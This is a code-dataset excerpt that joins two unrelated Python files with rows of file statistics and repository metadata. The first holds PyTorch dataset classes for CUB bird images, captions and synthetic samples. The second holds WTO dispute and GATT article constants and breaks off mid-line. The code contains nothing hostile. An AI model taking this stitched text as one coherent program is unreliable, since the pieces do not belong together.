transforms.Lambda(lambda x: transforms.Grayscale(3)(x[0])
if _is_grayscale(x[0]) else x[0]),
common_postfix,
])
def __len__(self):
"""Return len of dataset.
Returns:
Number of images in the dataset.
"""
return len(self.image_filenames)
def __getitem__(self, idx):
"""Returns an image, its embedding, and maybe
a mismatching image.
Retrieve an image, if this is a training dataset
one of its embeddings and a mismatching image.
Class ID is last returned value.
Arguments:
idx(int): index.
Returns:
An image as a torch.Tensor of size (3,256,256),
if training a mismatching image and one of its
embeddings, and its class id.
"""
image_fn = self.image_filenames[idx]
image = Image.open(os.path.join(self.dataset_dir, self.image_dir, image_fn + '.jpg'))
if not self.train:
return (self.transform((image, self.bboxes[image_fn])),
self.synthetic_ids[self.class_ids[idx]])
rand_caption = torch.randint(10, (1,)).item()
embedding = self.embeddings[idx, rand_caption]
while True:
# get an image from a different class (match-aware discr)
mis_idx = torch.randint(len(self), (1,)).item()
if self.class_ids[idx] != self.class_ids[mis_idx]:
break
mis_image_fn = self.image_filenames[mis_idx]
mis_image = Image.open(os.path.join(self.dataset_dir, self.image_dir,
mis_image_fn + '.jpg'))
return (self.transform((image, self.bboxes[image_fn])),
self.transform((mis_image, self.bboxes[mis_image_fn])),
embedding, self.synthetic_ids[self.class_ids[idx]])
def embeddings_by_class(self):
"""Fetches the embeddings per class.
Yields:
torch.Tensor with embeddings of size
(#, 10, 1024) and the corresponding
int synthetic ID.
"""
prev = 0
while True:
curr_id = self.class_ids[prev]
for curr in range(prev + 1, len(self)):
if self.class_ids[curr] != curr_id:
break # break at first point where id changes
if curr == prev: # handle case with one instance in class
yield self.embeddings[prev][None, ...], self.synthetic_ids[curr_id]
else:
yield self.embeddings[prev:curr], self.synthetic_ids[curr_id]
prev = curr
if curr == len(self) - 1:
break
class CUBTextDatasetLazy(torch.utils.data.Dataset):
"""CUB dataset with actual text instead of
representations.
Class for CUB Dataset with captions. Reads images constantly
with PIL and doesn't load them at once.
Attributes:
filenames(list): filename of images and texts alike.
class_ids(list): class of image and embeddings (at the
same index).
dataset_dir(str): directory of data.
image_dir(str): directory of actual images relative to
dataset_dir.
text_dir(str): directory of texts relative to
dataset_dir.
train(bool): whether this is the training dataset.
synthetic_ids(dict): correspondence between
real and synthetic IDs. Meant for use
during testing.
bboxes(dict): keys are the filenames
of images and values the bounding box to
retain a proper image to body ratio.
transform(torchvision Transform): transform applied
to every PIL image (as is read from image_dir).
"""
def __init__(self, dataset_dir, image_dir, text_dir, available_classes, use_bbox=True):
"""Init.
Args:
dataset_dir(str): root directory of dataset.
image_dir(str): image directory w.r.t. dataset_dir.
text_dir(str): embedding directory w.r.t
dataset_dir.
available_classes(str): txt file to define
restrict the classes used from the predefined
train/test split.
use_bbox(bool): whether to crop using bboxes,
default=`True`.
"""
self.dataset_dir = dataset_dir
self.image_dir = image_dir
self.text_dir = text_dir
# get class ids used in dataset
with open(os.path.join(dataset_dir, available_classes), 'r') as avcls:
available_class_ids = [int(line.strip().split('.')[0])
for line in avcls.readlines()]
class_ids = []
filenames = []
for cls_dir in os.listdir(os.path.join(dataset_dir, image_dir)):
if int(cls_dir.split('.')[0]) in available_class_ids:
cls_imgs = os.listdir(os.path.join(dataset_dir, image_dir, cls_dir))
filenames.extend(
[os.path.join(os.path.join(cls_dir, os.path.splitext(cls_img)[0]))
for cls_img in cls_imgs]
)
class_ids.extend([int(cls_dir.split('.')[0])] * len(cls_imgs))
self.class_ids = class_ids
self.filenames = filenames
unique_ids = set(self.class_ids)
self.synthetic_ids = dict(zip(unique_ids, range(len(unique_ids))))
self.train = available_classes.startswith('train')
self.bboxes = _load_bboxes(dataset_dir)
common_postfix = transforms.Compose([
transforms.Resize(304),
transforms.RandomRotation(2),
transforms.RandomCrop(256),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5)),
])
if use_bbox:
self.transform = transforms.Compose([
transforms.Lambda(lambda x: _bbox_crop(*x)),
transforms.Lambda(lambda x: transforms.Grayscale(3)(x) if _is_grayscale(x) else x),
common_postfix,
])
else:
self.transform = transforms.Compose([
# x[0] to get rid of bbox
transforms.Lambda(lambda x: transforms.Grayscale(3)(x[0])
if _is_grayscale(x[0]) else x[0]),
common_postfix,
])
def __len__(self):
"""Returns len of dataset.
Returns:
Number of images in the dataset.
"""
return len(self.filenames)
def __getitem__(self, idx):
"""Returns an image, its caption, and a mismatching image.
Retrieves an image, one of its captions and,
if this is a training dataset, a mismatching image.
Class ID is last returned value.
Arguments:
idx(int): index.
Returns:
An image as a torch.Tensor of size (3,256,256),
if training a mismatching image and one of its
captions of size (70, 201), and its class id.
"""
image_fn = self.filenames[idx]
image = Image.open(os.path.join(self.dataset_dir, self.image_dir,
image_fn + '.jpg'))
if not self.train:
return (self.transform((image, self.bboxes[image_fn])),
self.synthetic_ids[self.class_ids[idx]])
rand_caption = torch.randint(10, (1,)).item()
with open(os.path.join(self.dataset_dir, self.text_dir, image_fn + '.txt'), 'r') as txt_fp:
text = txt_fp.readlines()[rand_caption].strip().lower()
text = process_text(text)
while True:
# get an image from a different class (match-aware discr)
mis_idx = torch.randint(len(self), (1,)).item()
if self.class_ids[idx] != self.class_ids[mis_idx]:
break
mis_image_fn = self.filenames[mis_idx]
mis_image = Image.open(os.path.join(self.dataset_dir, self.image_dir,
mis_image_fn + '.jpg'))
return (self.transform((image, self.bboxes[image_fn])),
self.transform((mis_image, self.bboxes[mis_image_fn])),
text, self.synthetic_ids[self.class_ids[idx]])
def captions_by_class(self):
"""Fetches the captions per class.
Yields:
torch.Tensor with captions of size
(#, 10, 70, 201) and the corresponding
int synthetic ID.
"""
cls_dirs = {os.path.split(filename)[0] for filename in self.filenames}
for cls_dir in cls_dirs:
texts = []
for filename in os.listdir(os.path.join(self.dataset_dir, self.text_dir, cls_dir)):
if not filename.endswith('.txt'):
continue
with open(os.path.join(self.dataset_dir, self.text_dir, cls_dir, filename), 'r') \
as txt_fp:
texts.append(torch.stack([process_text(text.strip().lower())
for text in txt_fp.readlines()]))
yield torch.stack(texts), self.synthetic_ids[int(cls_dir.split('.')[0])]
def process_text(text):
"""Transform np array of ascii codes to one-hot sequence."""
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-,;.!?:\'"/\\|_@#$%^&*~`+-=<>()[]{} '
ohvec = torch.zeros(len(alphabet), 201)
ohvec[[alphabet.index(tok) for tok in text][:201], range(min(len(text), 201))] = 1
return ohvec
def _load_bboxes(dataset_dir):
"""Retrieve bounding boxes.
Builds a dictionary of {filename: bounding_box} pairs
to crop images to 75% body to image ratio.
Args:
dataset_dir: Dataset directory.
Returns:
A dictionary of
class_dir/image_filename (without extension): list of bbox coordinates
key-value pairs.
"""
# id 4xcoords
df_bboxes = pd.read_csv(os.path.join(dataset_dir, 'bounding_boxes.txt'),
delim_whitespace=True, header=None).astype(int)
# id fn
df_corr_fns = pd.read_csv(os.path.join(dataset_dir, 'images.txt'),
delim_whitespace=True, header=None)
bbox_dict = {
os.path.splitext(df_corr_fns.iloc[i][1])[0]: df_bboxes.iloc[i][1:].tolist()
for i in range(len(df_bboxes))
}
return bbox_dict
def _bbox_crop(image, bbox):
"""Crop PIL.Image according to bbox.
Args:
image(PIL.Image): image to crop
bbox(iterable): iterable with 4 elements.
Returns:
Cropped image.
"""
width, height = image.size
ratio = int(max(bbox[2], bbox[3]) * 0.75)
center_x = int((2 * bbox[0] + bbox[2]) / 2)
center_y = int((2 * bbox[1] + bbox[3]) / 2)
y_low = max(0, center_y - ratio)
y_high = min(height, center_y + ratio)
x_low = max(0, center_x - ratio)
x_high = min(width, center_x + ratio)
image = image.crop([x_low, y_low, x_high, y_high])
return image
def _is_grayscale(image):
"""Return if image is grayscale.
Assert if image only has 1 channel.
Args:
image(PIL.Image): image to check.
Returns:
bool indicating whether image is grayscale.
"""
try:
# channel==1 is 2nd channel
image.getchannel(1)
return False
except ValueError:
return True
class SyntheticDataset(torch.utils.data.Dataset):
"""Dataset for synthetic samples.
Dataset to store and retrieve synthetic samples rather than
holding them all in RAM. Only cares for the samples it
was used to store. Stores with sequential filenames akin
to indices for trivial indexing.
Attributes:
dataset_dir(str): dataset directory.
n_samples(int): number of samples.
sample_key(str): key of dictionary used to store
and retrieve samples.
label_key(str): key of dictionary used to store
and retrieve corresponding labels.
template_fn(str): formattable filename for each
different sample.
"""
def __init__(self, dataset_dir=None):
"""Init.
Args:
dataset_dir(str, optional): directory of dataset,
default=directory 'dataset' under the
invisible-to-git cache directory specified
in configuration file.
"""
if dataset_dir is None:
dataset_dir = os.path.join(CACHE_DIR, 'dataset')
if not os.path.exists(dataset_dir):
os.makedirs(dataset_dir)
self.dataset_dir = dataset_dir
self.n_samples = 0
self.sample_key = 'sample'
self.label_key = 'label'
self.fn_template = os.path.join(dataset_dir, 'sample_{}.pt')
@classmethod
def existing(cls, dataset_dir=None):
"""Init from existing directory.
Args:
dataset_dir(str, optional): directory of dataset,
default=directory 'dataset' under the
invisible-to-git cache directory specified
in configuration file.
"""
obj = cls(dataset_dir)
obj.n_samples = len(os.listdir(obj.dataset_dir))
return obj
def _getitem(self, idx):
"""__getitem__ but only for ints.
Args:
idx(int): index.
Returns:
torch.Tensors sample and label.
"""
if idx < - len(self) or idx >= len(self):
raise IndexError('Index {} out of range'.format(idx))
if idx < 0:
idx += len(self)
# saved as cpu tensors
sample_dict = torch.load(self.fn_template.format(idx))
return sample_dict[self.sample_key], sample_dict[self.label_key]
def __getitem__(self, idx):
"""Loads and returns a sample and its label.
Args:
idx(int|slice|torch.Tensor|list): index/indices
of sample(s).
Returns:
torch.Tensors sample(s) and label(s).
"""
if torch.is_tensor(idx):
if idx.ndim == 0:
idx = idx.item()
else:
idx = list(idx.numpy())
if isinstance(idx, int):
return self._getitem(idx)
if isinstance(idx, slice):
# slice (for kNN etc)
samples, labels = [], []
for i in range(*idx.indices(len(self))):
sample, label = self._getitem(i)
samples.append(sample)
labels.append(label)
if not samples:
raise IndexError('No elements corresponding to {}'.format(idx))
return torch.stack(samples), torch.stack(labels)
if isinstance(idx, list):
samples, labels = [], []
for i in idx:
sample, label = self._getitem(i)
samples.append(sample)
labels.append(label)
if not samples:
raise IndexError('No elements corresponding to {}'.format(idx))
return torch.stack(samples), torch.stack(labels)
raise IndexError('Unhandled index type')
def __len__(self):
"""Returns number of stored samples."""
return self.n_samples
def save_pairs(self, samples, label):
"""Saves sample-label pairs.
Saves pairs of samples and their corresponding label
(assumed to be the same for all samples, thus only an
integer is expected) with a filename specified by the
template and order of receival.
Args:
samples(torch.tensor): batch of samples.
label(int): their corresponding label.
"""
if not torch.is_tensor(label):
label = torch.tensor(label, dtype=torch.long) # pylint: disable=not-callable
samples = samples.cpu()
label = label.cpu()
sample_dict = {self.label_key: label}
for i in range(samples.size(0)):
sample_dict[self.sample_key] = samples[i]
torch.save(sample_dict, self.fn_template.format(self.n_samples))
self.n_samples += 1
class SyntheticImageDataset(torch.utils.data.Dataset):
"""Dataset for synthetic images.
Dataset to store and retrieve synthetic images with
JPEG compression rather than holding them all in RAM.
Only cares for the images it was used to store.
Stores with sequential filenames akin to indices for
trivial indexing.
Attributes:
dataset_dir(str): dataset directory.
n_samples(int): number of samples.
template_fn(tuple of strs): formattable filename for
each different image. Tuple because 1st dim uniquely
identifies an image, 2nd dim encodes label.
save_transform(torchvision Transform): tensor transform
to save as image.
load_transform(torchvision Transform): image transform
to load as tensor (& data augmentation).
"""
def __init__(self, dataset_dir=None):
"""Init.
Args:
dataset_dir(str, optional): directory of dataset,
default=directory 'dataset' under the
invisible-to-git cache directory specified
in configuration file.
"""
if dataset_dir is None:
dataset_dir = os.path.join(CACHE_DIR, 'dataset')
if not os.path.exists(dataset_dir):
os.makedirs(dataset_dir)
self.dataset_dir = dataset_dir
self.n_samples = 0
self.fn_template = os.path.join(dataset_dir, 'image_{}_'), '{}.jpg'
self.save_transform = transforms.Compose([
transforms.Normalize(mean=(-1, -1, -1), std=(2, 2, 2)),
transforms.ToPILImage(),
])
self.load_transform = transforms.Compose([
transforms.Resize(304),
transforms.RandomRotation(2),
transforms.RandomCrop(256),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize(mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))
])
@classmethod
def existing(cls, dataset_dir=None):
"""Init from existing directory.
Args:
dataset_dir(str, optional): directory of dataset,
default=directory 'dataset' under the
invisible-to-git cache directory specified
in configuration file.
"""
obj = cls(dataset_dir)
obj.n_samples = len(os.listdir(obj.dataset_dir))
return obj
def _getitem(self, idx):
"""__getitem__ but only for ints.
Args:
idx(int): index.
Returns:
torch.Tensors image and label.
"""
if idx < - len(self) or idx >= len(self):
raise IndexError('Index {} out of range'.format(idx))
if idx < 0:
idx += len(self)
# saved as cpu tensors
image_fn = glob.glob(self.fn_template[0].format(idx) + '*')[0] # certain there is only 1
image = self.load_transform(Image.open(image_fn))
return image, int(image_fn.split('_')[-1].split('.')[0])
def __getitem__(self, idx):
"""Loads and returns a sample and its label.
Args:
idx(int|slice|torch.Tensor|list): index/indices
of sample(s).
Returns:
torch.Tensors image(s) and label(s).
"""
if torch.is_tensor(idx):
if idx.ndim == 0:
idx = idx.item()
else:
idx = list(idx.numpy())
if isinstance(idx, int):
return self._getitem(idx)
if isinstance(idx, slice):
# slice (for kNN etc)
samples, labels = [], []
for i in range(*idx.indices(len(self))):
sample, label = self._getitem(i)
samples.append(sample)
labels.append(label)
if not samples:
raise IndexError('No elements corresponding to {}'.format(idx))
return torch.stack(samples), torch.stack(labels)
if isinstance(idx, list):
samples, labels = [], []
for i in idx:
sample, label = self._getitem(i)
samples.append(sample)
labels.append(label)
if not samples:
raise IndexError('No elements corresponding to {}'.format(idx))
return torch.stack(samples), torch.stack(labels)
raise IndexError('Unhandled index type')
def __len__(self):
"""Returns number of stored images."""
return self.n_samples
def save_pairs(self, samples, label):
"""Saves sample-label pairs.
Saves pairs of images and their corresponding label
(assumed to be the same for all samples, thus only an
integer is expected) with a filename specified by the
template and order of receival.
Args:
samples(torch.tensor): batch of samples.
label(int): their corresponding label.
"""
if not torch.is_tensor(label):
label = torch.tensor(label, dtype=torch.long) # pylint: disable=not-callable
samples = samples.cpu()
label = label.cpu()
image_fn_template = self.fn_template[0] + self.fn_template[1].format(label)
for i in range(samples.size(0)):
self.save_transform(samples[i]).save(image_fn_template.format(self.n_samples))
self.n_samples += 1
| 35.671779
| 109
| 0.573021
| 4,190
| 34,887
| 4.633174
| 0.095704
| 0.038634
| 0.013908
| 0.014011
| 0.818884
| 0.790501
| 0.773348
| 0.765982
| 0.755061
| 0.74548
| 0
| 0.011241
| 0.321696
| 34,887
| 977
| 110
| 35.708291
| 0.809119
| 0.335626
| 0
| 0.715935
| 0
| 0.009238
| 0.027048
| 0.004996
| 0
| 0
| 0
| 0
| 0
| 1
| 0.064665
| false
| 0
| 0.020785
| 0
| 0.157044
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
621a4316b760c37570dc88d8aa7dedcbb0b8b2c7
| 51,764
|
py
|
Python
|
deepwto/constants.py
|
DeepWTO/deepwto-dataset-explore
|
421ea2aa2d73c287a8b7028b8bbe3e136fc0ed15
|
[
"MIT"
] | 1
|
2020-02-21T10:47:27.000Z
|
2020-02-21T10:47:27.000Z
|
deepwto/constants.py
|
DeepWTO/deepwto-api
|
421ea2aa2d73c287a8b7028b8bbe3e136fc0ed15
|
[
"MIT"
] | null | null | null |
deepwto/constants.py
|
DeepWTO/deepwto-api
|
421ea2aa2d73c287a8b7028b8bbe3e136fc0ed15
|
[
"MIT"
] | null | null | null |
available_ds = [2, 18, 22, 31, 34, 46, 56, 58, 60, 62, 67, 68, 69, 75, 76,
87, 90, 98, 103, 108, 121, 122, 135, 136, 139, 141, 146, 152,
155, 161, 162, 165, 166, 174, 175, 177, 184, 202, 207, 212,
217, 219, 221, 231, 234, 238, 244, 245, 246, 248, 257, 264,
265, 266, 267, 268, 269, 276, 282, 283, 286, 290, 294, 295,
296, 301, 302, 308, 312, 315, 316, 320, 321, 322, 332, 336,
339, 343, 344, 345, 350, 353, 360, 363, 366, 371, 379, 381,
384, 392, 394, 396, 397, 399, 400, 406, 412, 414, 415, 422,
425, 427, 429, 430, 431, 435, 436, 437, 440, 442, 447, 449,
453, 454, 456, 457, 461, 464, 468, 471, 472, 473, 475, 476,
477, 479, 480, 482, 483, 484, 485, 486, 488, 490, 492, 493,
495, 499, 504, 505, 513, 518, 523]
available_article = ['Article I', 'Article I:1', 'Article II', 'Article II:1',
'Article II:1(a)', 'Article II:1(b)', 'Article II:2',
'Article II:3', 'Article III', 'Article III:1',
'Article III:2', 'Article III:4', 'Article III:5',
'Article III:7', 'Article IV', 'Article IX',
'Article IX:2', 'Article V', 'Article V:1',
'Article V:2', 'Article V:3', 'Article V:3(a)',
'Article V:4', 'Article V:5', 'Article V:6',
'Article V:7', 'Article VI', 'Article VI:1',
'Article VI:2', 'Article VI:2(a)', 'Article VI:2(b)',
'Article VI:3', 'Article VI:5(a)', 'Article VI:6',
'Article VII', 'Article VII:1', 'Article VII:2',
'Article VII:5', 'Article VIII', 'Article VIII:1',
'Article VIII:3', 'Article VIII:4', 'Article X',
'Article X:1', 'Article X:2', 'Article X:3',
'Article X:3(a)', 'Article XI',
'Article XI:1', 'Article XIII',
'Article XIII:1', 'Article XIII:2',
'Article XIII:3(b)', 'Article XIX',
'Article XIX:1', 'Article XIX:2',
'Article XIX:3', 'Article XV',
'Article XVI', 'Article XVI:1',
'Article XVI:4', 'Article XVII',
'Article XVII:1', 'Article XVII:1(c)',
'Article XVIII', 'Article XVIII:10',
'Article XVIII:11', 'Article XX',
'Article XXI', 'Article XXII',
'Article XXII:1', 'Article XXIII',
'Article XXIII:1', 'Article XXIII:1(a)',
'Article XXIII:1(b)', 'Article XXIV',
'Article XXIV:12', 'Article XXIV:5(b)',
'Article XXIV:6', 'Article XXVIII']
cited_by_ds = {2: ['Article XXII:1', 'Article I', 'Article III'], 18: ['Article XIII', 'Article XI'], 22: ['Article VI:3', 'Article VI:6'], 31: ['Article XI', 'Article III'], 34: ['Article XXIV', 'Article XI', 'Article XIII'], 46: ['Article XVI'], 56: ['Article VIII', 'Article VII', 'Article II', 'Article X'], 58: ['Article XI', 'Article XIII', 'Article I', 'Article XX'], 60: ['Article VI'], 62: ['Article II'], 67: ['Article XXIII:1', 'Article XXIII', 'Article II'], 68: ['Article II', 'Article XXII:1', 'Article XXIII:1'], 69: ['Article XIII', 'Article III', 'Article XXVIII', 'Article II', 'Article X'], 75: ['Article III:2'], 76: ['Article XI'], 87: ['Article III:2'], 90: ['Article XI:1', 'Article XIII', 'Article XVIII:11'], 98: ['Article XIX'], 103: ['Article X', 'Article XIII', 'Article XI'], 108: ['Article III:4', 'Article XVI'], 121: ['Article XIX'], 122: ['Article VI'], 135: ['Article III', 'Article XI', 'Article XXIII', 'Article XXIII:1(b)'], 136: ['Article VI', 'Article III:4'], 139: ['Article I:1', 'Article XXIV', 'Article III:4'], 141: ['Article VI', 'Article I'], 146: ['Article XI', 'Article III'], 152: ['Article XI', 'Article I', 'Article III', 'Article II', 'Article VIII'], 155: ['Article XI:1', 'Article III:2', 'Article X:3(a)'], 161: ['Article III', 'Article X', 'Article II', 'Article XI', 'Article XVII'], 162: ['Article III:4', 'Article III', 'Article VI', 'Article XI'], 165: ['Article XI', 'Article VIII', 'Article II', 'Article I'], 166: ['Article XIX', 'Article I'], 174: ['Article I', 'Article III:4'], 175: ['Article XI', 'Article III:4', 'Article XI:1', 'Article III'], 177: ['Article XIX', 'Article I', 'Article II'], 184: ['Article VI', 'Article X'], 202: ['Article I', 'Article XIII', 'Article XIX'], 207: ['Article II', 'Article XIX:1'], 212: ['Article VI:3'], 217: ['Article X:3', 'Article XXIII:1', 'Article VI:2', 'Article VI:3'], 219: ['Article I', 'Article VI'], 221: ['Article VI', 'Article VI:2', 'Article VI:3', 'Article VI:6'], 231: ['Article I', 'Article III', 'Article XI:1'], 234: ['Article VI:2', 'Article X', 'Article VI:3', 'Article X:3', 'Article VI', 'Article XXIII:1'], 238: ['Article XIX:1'], 244: ['Article VI', 'Article X'], 245: ['Article XI'], 246: ['Article I:1'], 248: ['Article I:1', 'Article XIX:1', 'Article XIII'], 257: ['Article VI:3', 'Article X:3', 'Article VI'], 264: ['Article X:3', 'Article VI'], 265: ['Article XVI', 'Article III:4'], 266: ['Article III:4', 'Article XVI'], 267: ['Article XVI', 'Article III:4'], 268: ['Article X', 'Article VI'], 269: ['Article II', 'Article XXVIII', 'Article XXIII:1', 'Article XXIII', 'Article II:1'], 276: ['Article III', 'Article XVII', 'Article XVII:1', 'Article III:4'], 282: ['Article VI', 'Article X'], 283: ['Article III:4'], 286: ['Article XXII', 'Article II'], 290: ['Article I', 'Article I:1', 'Article III:4', 'Article III'], 294: ['Article VI'], 295: ['Article VI', 'Article VI:2'], 296: ['Article X:3', 'Article VI:3'], 301: ['Article XXIII:1', 'Article III:4', 'Article I:1'], 302: ['Article X:1', 'Article XV', 'Article X:3', 'Article III:2', 'Article II:1', 'Article XI:1', 'Article III:4', 'Article X:3(a)'], 308: ['Article III'], 312: ['Article VI:1', 'Article VI:2(b)', 'Article VI:6', 'Article VI:2(a)'], 315: ['Article X:3', 'Article X:1'], 316: ['Article XVI:1', 'Article XXIII:1', 'Article III:4'], 320: ['Article II', 'Article I'], 321: ['Article I', 'Article II'], 322: ['Article VI:1', 'Article VI', 'Article VI:2(a)'], 332: ['Article XIII:1', 'Article I:1', 'Article XI:1', 'Article III:4'], 336: ['Article X:3', 'Article VI:3'], 339: ['Article III:5', 'Article XI', 'Article XIII:1', 'Article II:1', 'Article III:4', 'Article III:2', 'Article III:1'], 343: ['Article XI:1', 'Article XX', 'Article III', 'Article II:1', 'Article II', 'Article VI:2', 'Article XIII:1', 'Article VI', 'Article I:1', 'Article X:3(a)'], 344: ['Article VI', 'Article VI:2', 'Article VI:1'], 345: ['Article I', 'Article X:1', 'Article X:2', 'Article XI', 'Article VI:2', 'Article XIII', 'Article VI', 'Article II', 'Article X', 'Article VI:3', 'Article II:1'], 350: ['Article VI:2', 'Article VI:1'], 353: ['Article III:4'], 360: ['Article III:2', 'Article III:4', 'Article II:1'], 363: ['Article III:4', 'Article XI:1'], 366: ['Article V:6', 'Article VII', 'Article XI', 'Article XIII:1', 'Article X:3(a)', 'Article VII:1', 'Article II:1', 'Article III:2', 'Article X:3', 'Article I:1'], 371: ['Article X:1', 'Article III:2', 'Article II:1(b)', 'Article III:4', 'Article VII:2', 'Article X:3', 'Article VII:5', 'Article VII:1', 'Article X:3(a)', 'Article II:3'], 379: ['Article VI', 'Article I'], 381: ['Article I', 'Article III'], 384: ['Article IX', 'Article IX:2', 'Article III:4', 'Article XXIII:1(b)', 'Article X:3', 'Article X:3(a)'], 392: ['Article XI:1', 'Article I:1'], 394: ['Article VIII:1', 'Article XI:1', 'Article X:3', 'Article VIII', 'Article VIII:4', 'Article XI', 'Article X', 'Article X:1'], 396: ['Article III:1', 'Article III:2'], 397: ['Article I:1', 'Article VI:1', 'Article X:3(a)', 'Article I'], 399: ['Article II', 'Article XIX', 'Article I:1'], 400: ['Article III:4', 'Article I:1', 'Article XXIII:1(b)', 'Article XI:1'], 406: ['Article XX', 'Article XXIII:1(a)', 'Article III:4'], 412: ['Article III:4', 'Article III:5', 'Article XXIII:1'], 414: ['Article VI'], 415: ['Article II:1', 'Article XIX:2', 'Article XIX:1', 'Article I:1'], 422: ['Article VI:1', 'Article VI:2(b)', 'Article VI:2(a)'], 425: ['Article VI:1', 'Article VI:6'], 427: ['Article VI', 'Article VI:3'], 429: ['Article X', 'Article VI:1', 'Article VI:2(a)', 'Article VI:2'], 430: ['Article I', 'Article XI'], 431: ['Article XI:1', 'Article X:3(a)', 'Article VII', 'Article X', 'Article VIII', 'Article XI'], 435: ['Article III:4'], 436: ['Article I', 'Article VI'], 437: ['Article VI', 'Article XXIII'], 440: ['Article VI'], 442: ['Article VI', 'Article X:3(a)'], 447: ['Article XI:1', 'Article I:1', 'Article III:4'], 449: ['Article X', 'Article VI'], 453: ['Article III:2', 'Article I:1', 'Article III:4', 'Article XI:1'], 454: ['Article VI'], 456: ['Article III:4'], 457: ['Article XI', 'Article II:1(b)', 'Article XI:1', 'Article X:1', 'Article X:3(a)', 'Article II:1(a)'], 461: ['Article II:1', 'Article VIII:1', 'Article II:1(b)', 'Article X:3(a)'], 464: ['Article VI:2', 'Article VI:3', 'Article VI', 'Article VI:1'], 468: ['Article II:1(b)', 'Article XIX:1'], 471: ['Article VI:2'], 472: ['Article III:4', 'Article I:1', 'Article II:1(b)', 'Article III:5', 'Article III:2'], 473: ['Article VI:2'], 475: ['Article XI:1', 'Article III:4', 'Article I:1'], 476: ['Article I', 'Article III', 'Article XI', 'Article X'], 477: ['Article X:1', 'Article III:4', 'Article XI:1'], 479: ['Article VI'], 480: ['Article VI:1', 'Article VI', 'Article VI:2'], 482: ['Article VI'], 483: ['Article VI'], 484: ['Article X:3', 'Article III:4', 'Article X:1', 'Article XI:1'], 485: ['Article II:1(b)', 'Article II:1(a)', 'Article VII'], 486: ['Article VI'], 488: ['Article X:3', 'Article I'], 490: ['Article XIX:1', 'Article I:1', 'Article XIX:2'], 492: ['Article II:2', 'Article I', 'Article I:1', 'Article XXVIII', 'Article XIII:2', 'Article XIII:1', 'Article XIII', 'Article II', 'Article II:1'], 493: ['Article VI'], 495: ['Article XXIII:1'], 499: ['Article I:1', 'Article III:4', 'Article XIII:1', 'Article XI:1', 'Article X:3(a)'], 504: ['Article VI'], 505: ['Article VI:3'], 513: ['Article X:1', 'Article I:1', 'Article X:3(a)', 'Article X:2', 'Article XI:1'], 518: ['Article I:1', 'Article XI:1', 'Article XIX:1', 'Article II:1(b)'], 523: ['Article VI:3']}
cited_all = [{'ds_art': '67_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '343_Article XI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '394_Article VIII:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '400_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '269_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '485_Article II:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '166_Article XIX', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '480_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '492_Article II:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '290_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '316_Article XVI:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '412_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '87_Article III:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '135_Article III', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '221_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '248_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '175_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '308_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '505_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '321_Article I', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '471_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '321_Article II', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '442_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '499_Article I:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '269_Article XXVIII', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '422_Article VI:1', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '165_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '266_Article III:4', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '221_Article VI:2', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '141_Article VI', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '212_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '161_Article III', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '345_Article I', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '257_Article VI:3', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '457_Article XI', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '476_Article I', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '366_Article V:6', 'version': '1.0.0', 'cited': True, 'split': 'test'}, {'ds_art': '98_Article XIX', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '301_Article XXIII:1', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '457_Article II:1(b)', 'version': '1.0.0', 'cited': True, 'split': 'train'}, {'ds_art': '427_Article VI', 'version': '1.0.0', 'cited': True, 